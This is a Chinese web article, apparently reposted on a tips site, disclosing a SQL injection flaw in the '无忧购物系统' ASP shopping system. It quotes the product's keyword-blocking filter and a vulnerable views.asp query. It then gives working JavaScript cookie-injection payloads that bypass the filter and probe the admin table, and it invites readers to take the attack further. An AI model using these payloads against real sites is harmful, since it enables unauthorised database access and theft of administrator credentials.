无忧购物系统oday发布漏洞预警 -电脑资料

电脑资料 时间:2019-01-01 我要投稿
【www.unjs.com - 电脑资料】

   

    其实代码中出现了多处SQLintection,但是在Conn.asp中:

    Set Conn = Nothing

    Response.Write "数据库连接出错"

    Response.End

    End If

    %>

    翻开了sqlcheck.asp,部分代码如下:

    For Fy_x=0 to ubound(Fy_Cs)

    If Fy_Cs(Fy_x)<>"" Then

    If Instr(LCase(Request(Fy_Cs(Fy_x))),"'")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"and")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"select")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"update")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"chr")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"delete%20from")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),";")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"insert")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"mid")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"master.")<>0 Then

    response.Write ""

    Response.End

    过滤得还真不少~ '|and|select|update|mid|....等等等等  - -

    但问题不是很大的说~~ 先贴上一处吧,views.asp 部分代码如下:

    <%hw_id=Request("hw_id")

    sql="select * from hw where hw_id="&hw_id&""

    rs.open sql,conn,3,3

    if rs.eof then%>!

    <%else

    rs("hw_views")=rs("hw_views")+1

    rs.update

    可以看到,hw_id=Request("hw_id"),呵,如果管理员直接:

    hw_id=Requet(Replace("hw_id","'",""))  或 hw_id=Requet(Replace("hw_id","'",""")) 下 或许我还难办点~~

    (Ps:哎,自从国内推出了防注射代码后,程序员们都变懒了~~~)

    request集合中包含了cookie,所以 无论他的防注射代码多么的BT,咱们都可以忽略了:)

    测试代码如下:

    http://www.xxx.com/views.asp?hw_id=503

    清空后提交:javascript.:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

    javascript.:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

    直接判断出存在注入了

    javascript.:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

    OK,大伙自己发挥去吧~~

最新文章